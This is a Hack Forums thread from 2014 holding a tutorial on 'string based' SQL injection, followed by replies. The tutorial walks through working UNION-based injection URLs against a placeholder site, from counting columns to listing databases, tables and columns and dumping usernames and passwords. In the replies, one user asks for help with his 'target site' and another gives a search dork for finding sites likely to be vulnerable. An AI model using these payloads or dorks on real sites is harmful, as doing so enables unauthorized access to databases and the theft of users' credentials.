

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] String Based SQL Injection](#)

-zERaIT - November 18, 2014, 11:54 am

String Based SQL Injection

In this tutorial we'll be going through an String Based SQL Injection.

What is String Based SQL Injection?

String Based SQL injection happens when the site is vulnerable to SQL injection but doesn't show us the results needed to be displayed after executing our SQLi query.

Some known issues listed below:"group by" doesn't work.

"order by " doesn't work.

Example

Union Based

PHP Code

```
<?php
```

```
http://site.com/index.php?id=1 order by 100--
```

No result.

String Based

PHP Code

```
<?php
```

```
http://site.com/index.php?id=1' order by 100--+
```

Unkown columnt count "100"

Exploiting an String Based SQL Vulnerability

We'll be using the site below for an example.

PHP Code

```
<?php
```

```
http://site.com/index.php?id=1
```

Finding the amount of columns

PHP Code

```
<?php
```

```
http://site.com/index.php?id=1' order by 100--+
```

Error

PHP Code

```
<?php
```

```
http://site.com/index.php?id=1' order by 10--+
```

No error

PHP Code

```
<?php
```

```
http://site.com/index.php?id=1' order by 11--+
```

Error

This means that we have 10 columns.

Finding vulnerable columns

PHP Code

<?php

`http://site.com/index.php?id=-1' UNION SELECT 1,2,3,4,5,6,7,8,9,10--+`

This will display the vulnerable columns, for example we take "2".

Getting database

PHP Code

<?php

`http://site.com/index.php?id=-1' UNION SELECT 1,group_concat(schema_name,0x0a),3,4,5,6,7,8,9,10 from information_schema.schemata--+`

This will display the database of their website.

Getting tables from database

PHP Code

<?php

`http://site.com/index.php?id=-1' UNION SELECT 1,group_concat(table_schema,0x0a),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--+`

This will result in the tables from the database, for example we take table "users".

Getting columns from table

You'll have to convert your table name into hex and add "0x" in front of it.

Quote:<http://www.swingnote.com/tools/texttohex.php>

<http://hex.online-toolz.com/tools/text-hex-converto.php>

<http://www.unit-conversion.info/texttools/hexadecimal/>

PHP Code

<?php

`http://site.com/index.php?id=-1' UNION SELECT 1, group_concat(column_name,0x0a),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0xTABLENAMEINHEX--+`

This will result in the columns from the table, for example we take "username & password".

Getting data from columns

PHP Code

<?php

`http://site.com/index.php?id=-1' UNION SELECT 1,group_concat(username,0x3a,password,0x0a),3,4,5,6,7,8,9,10 from users--+`

This will result in the data from the columns.

You can read my other tutorials by clicking below. [\[Tutorial\] Basic / Union based SQL Injection](#)

[\[Tutorial\] String Based SQL Injection](#)

[\[Tutorial\] MsSQL Injection](#)

[\[Tutorial\] Web Application Firewall \[WAF\]](#)

[\[Tutorial\] Server Side Include Injection \[SSI Injection\]](#)

[\[Tutorial\] XPath Injection \[ExtractValue\]](#)

[\[Tutorial\] Remote File Inclusion](#)

[\[Tutorial\] Directory Traversal](#)

Thats it for now, if you still have any questions related to String Based SQL Injection then feel free to hit me up.

Thanks for viewing my thread.?

SuperConductor - November 18, 2014, 1:48 pm

Hey it looks rly nice but my problem is that i cant find a index.php? ... on my target site
Can you pm me and help me?

Lil Benadryl - November 18, 2014, 3:34 pm

(Nov 18, 2014 02:48 PM)johannesssch Wrote: [\[CITE\]](#) Hey it looks rly nice but my problem is that i cant find a index.php? ... on my target site

Can you pm me and help me?

Use a dork if you're targeting a specific website:

Code site:yourwebsitehere.com inurl:.php?id=

Or something along those lines.?

How bout using your brain - November 18, 2014, 4:44 pm

Would have been nice to explain why there is string based injection in the first place. There are already like 100+ string based injection tutorials on here, so this offers nothing new. However, giving a background on how this actually works, would have made this tutorial a bit more special and interesting for beginners.

MER1 - January 2, 2015, 11:49 am

Thanks, this really helped me with SQLi

Root_x7 - April 20, 2015, 1:11 pm

Nice Tutorial Buddy ! Thanks For Sharing